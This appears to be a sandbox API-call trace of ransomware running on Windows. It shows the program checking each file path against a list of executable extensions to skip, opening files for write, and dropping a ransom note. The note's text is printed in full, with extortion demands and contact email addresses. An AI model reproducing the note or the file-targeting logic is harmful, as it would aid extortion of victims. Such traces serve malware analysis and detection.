	[0078.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5b98 | out: hHeap=0x300000) returned 1
	[0078.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.425] RtlWakeConditionVariable () returned 0x365f70
	[0078.425] GetCurrentThreadId () returned 0x9f4
	[0078.425] GetCurrentThreadId () returned 0x9f4
	[0078.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3fc8 | out: hHeap=0x300000) returned 1
	[0078.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca50 | out: hHeap=0x300000) returned 1
	[0078.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3fc8
	[0078.425] lstrlenW (lpString=".scr") returned 4
	[0078.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".scr") returned 0x0
	[0078.425] lstrlenW (lpString=".cmd") returned 4
	[0078.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".cmd") returned 0x0
	[0078.425] lstrlenW (lpString=".dll") returned 4
	[0078.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".dll") returned 0x0
	[0078.425] lstrlenW (lpString=".bat") returned 4
	[0078.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".bat") returned 0x0
	[0078.425] lstrlenW (lpString=".cpl") returned 4
	[0078.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".cpl") returned 0x0
	[0078.425] lstrlenW (lpString=".sys") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".sys") returned 0x0
	[0078.426] lstrlenW (lpString=".msc") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".msc") returned 0x0
	[0078.426] lstrlenW (lpString=".com") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".com") returned 0x0
	[0078.426] lstrlenW (lpString=".lnk") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".lnk") returned 0x0
	[0078.426] lstrlenW (lpString=".msp") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".msp") returned 0x0
	[0078.426] lstrlenW (lpString=".pif") returned 4
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch=".pif") returned 0x0
	[0078.426] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3fc8 | out: hHeap=0x300000) returned 1
	[0078.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.426] RtlWakeConditionVariable () returned 0x365f70
	[0078.426] GetCurrentThreadId () returned 0x9f4
	[0078.426] GetCurrentThreadId () returned 0x9f4
	[0078.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5c50 | out: hHeap=0x300000) returned 1
	[0078.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca88 | out: hHeap=0x300000) returned 1
	[0078.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5c50
	[0078.427] lstrlenW (lpString=".scr") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".scr") returned 0x0
	[0078.427] lstrlenW (lpString=".cmd") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".cmd") returned 0x0
	[0078.427] lstrlenW (lpString=".dll") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".dll") returned 0x0
	[0078.427] lstrlenW (lpString=".bat") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".bat") returned 0x0
	[0078.427] lstrlenW (lpString=".cpl") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".cpl") returned 0x0
	[0078.427] lstrlenW (lpString=".sys") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".sys") returned 0x0
	[0078.427] lstrlenW (lpString=".msc") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".msc") returned 0x0
	[0078.427] lstrlenW (lpString=".com") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".com") returned 0x0
	[0078.427] lstrlenW (lpString=".lnk") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".lnk") returned 0x0
	[0078.427] lstrlenW (lpString=".msp") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".msp") returned 0x0
	[0078.427] lstrlenW (lpString=".pif") returned 4
	[0078.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch=".pif") returned 0x0
	[0078.428] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5c50 | out: hHeap=0x300000) returned 1
	[0078.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.428] RtlWakeConditionVariable () returned 0x365f70
	[0078.428] GetCurrentThreadId () returned 0x9f4
	[0078.428] GetCurrentThreadId () returned 0x9f4
	[0078.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0078.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2e18 | out: hHeap=0x300000) returned 1
	[0078.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cac0 | out: hHeap=0x300000) returned 1
	[0078.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0078.428] lstrlenW (lpString=".scr") returned 4
	[0078.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".scr") returned 0x0
	[0078.428] lstrlenW (lpString=".cmd") returned 4
	[0078.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".cmd") returned 0x0
	[0078.428] lstrlenW (lpString=".dll") returned 4
	[0078.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".dll") returned 0x0
	[0078.428] lstrlenW (lpString=".bat") returned 4
	[0078.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".bat") returned 0x0
	[0078.428] lstrlenW (lpString=".cpl") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".cpl") returned 0x0
	[0078.429] lstrlenW (lpString=".sys") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".sys") returned 0x0
	[0078.429] lstrlenW (lpString=".msc") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".msc") returned 0x0
	[0078.429] lstrlenW (lpString=".com") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".com") returned 0x0
	[0078.429] lstrlenW (lpString=".lnk") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".lnk") returned 0x0
	[0078.429] lstrlenW (lpString=".msp") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".msp") returned 0x0
	[0078.429] lstrlenW (lpString=".pif") returned 4
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch=".pif") returned 0x0
	[0078.429] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0078.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0078.430] RtlWakeConditionVariable () returned 0x365f70
	[0078.430] GetCurrentThreadId () returned 0x9f4
	[0078.431] GetCurrentThreadId () returned 0x9f4
	[0078.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5d08
	[0078.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0078.431] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cb30 | out: hHeap=0x300000) returned 1
	[0078.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0078.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.432] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.432] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.433] CloseHandle (hObject=0x120) returned 1
	[0078.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0078.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0078.434] RtlWakeConditionVariable () returned 0x365f70
	[0078.434] GetCurrentThreadId () returned 0x9f4
	[0078.434] GetCurrentThreadId () returned 0x9f4
	[0078.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4070 | out: hHeap=0x300000) returned 1
	[0078.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cb68 | out: hHeap=0x300000) returned 1
	[0078.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4070
	[0078.434] lstrlenW (lpString=".scr") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".scr") returned 0x0
	[0078.434] lstrlenW (lpString=".cmd") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".cmd") returned 0x0
	[0078.434] lstrlenW (lpString=".dll") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".dll") returned 0x0
	[0078.434] lstrlenW (lpString=".bat") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".bat") returned 0x0
	[0078.434] lstrlenW (lpString=".cpl") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".cpl") returned 0x0
	[0078.434] lstrlenW (lpString=".sys") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".sys") returned 0x0
	[0078.434] lstrlenW (lpString=".msc") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".msc") returned 0x0
	[0078.434] lstrlenW (lpString=".com") returned 4
	[0078.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".com") returned 0x0
	[0078.435] lstrlenW (lpString=".lnk") returned 4
	[0078.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".lnk") returned 0x0
	[0078.435] lstrlenW (lpString=".msp") returned 4
	[0078.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".msp") returned 0x0
	[0078.435] lstrlenW (lpString=".pif") returned 4
	[0078.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch=".pif") returned 0x0
	[0078.435] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4070 | out: hHeap=0x300000) returned 1
	[0078.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.436] RtlWakeConditionVariable () returned 0x365f70
	[0078.436] GetCurrentThreadId () returned 0x9f4
	[0078.436] GetCurrentThreadId () returned 0x9f4
	[0078.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0078.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5e78 | out: hHeap=0x300000) returned 1
	[0078.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cba0 | out: hHeap=0x300000) returned 1
	[0078.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5e78
	[0078.437] lstrlenW (lpString=".scr") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".scr") returned 0x0
	[0078.437] lstrlenW (lpString=".cmd") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".cmd") returned 0x0
	[0078.437] lstrlenW (lpString=".dll") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".dll") returned 0x0
	[0078.437] lstrlenW (lpString=".bat") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".bat") returned 0x0
	[0078.437] lstrlenW (lpString=".cpl") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".cpl") returned 0x0
	[0078.437] lstrlenW (lpString=".sys") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".sys") returned 0x0
	[0078.437] lstrlenW (lpString=".msc") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".msc") returned 0x0
	[0078.437] lstrlenW (lpString=".com") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".com") returned 0x0
	[0078.437] lstrlenW (lpString=".lnk") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".lnk") returned 0x0
	[0078.437] lstrlenW (lpString=".msp") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".msp") returned 0x0
	[0078.437] lstrlenW (lpString=".pif") returned 4
	[0078.437] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch=".pif") returned 0x0
	[0078.440] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.440] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5e78 | out: hHeap=0x300000) returned 1
	[0078.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0078.486] RtlWakeConditionVariable () returned 0x365f70
	[0078.486] GetCurrentThreadId () returned 0x9f4
	[0078.486] GetCurrentThreadId () returned 0x9f4
	[0078.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3a18
	[0078.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa398 | out: hHeap=0x300000) returned 1
	[0078.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df18 | out: hHeap=0x300000) returned 1
	[0078.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4120
	[0078.486] lstrlenW (lpString=".scr") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".scr") returned 0x0
	[0078.486] lstrlenW (lpString=".cmd") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".cmd") returned 0x0
	[0078.486] lstrlenW (lpString=".dll") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".dll") returned 0x0
	[0078.486] lstrlenW (lpString=".bat") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".bat") returned 0x0
	[0078.486] lstrlenW (lpString=".cpl") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".cpl") returned 0x0
	[0078.486] lstrlenW (lpString=".sys") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".sys") returned 0x0
	[0078.486] lstrlenW (lpString=".msc") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".msc") returned 0x0
	[0078.486] lstrlenW (lpString=".com") returned 4
	[0078.486] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".com") returned 0x0
	[0078.486] lstrlenW (lpString=".lnk") returned 4
	[0078.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".lnk") returned 0x0
	[0078.487] lstrlenW (lpString=".msp") returned 4
	[0078.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".msp") returned 0x0
	[0078.487] lstrlenW (lpString=".pif") returned 4
	[0078.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch=".pif") returned 0x0
	[0078.487] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4120 | out: hHeap=0x300000) returned 1
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3a18 | out: hHeap=0x300000) returned 1
	[0078.502] RtlWakeConditionVariable () returned 0x365f70
	[0078.502] GetCurrentThreadId () returned 0x9f4
	[0078.502] GetCurrentThreadId () returned 0x9f4
	[0078.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5df8 | out: hHeap=0x300000) returned 1
	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d070 | out: hHeap=0x300000) returned 1
	[0078.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5df8
	[0078.502] lstrlenW (lpString=".scr") returned 4
	[0078.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".scr") returned 0x0
	[0078.503] lstrlenW (lpString=".cmd") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".cmd") returned 0x0
	[0078.503] lstrlenW (lpString=".dll") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".dll") returned 0x0
	[0078.503] lstrlenW (lpString=".bat") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".bat") returned 0x0
	[0078.503] lstrlenW (lpString=".cpl") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".cpl") returned 0x0
	[0078.503] lstrlenW (lpString=".sys") returned 4
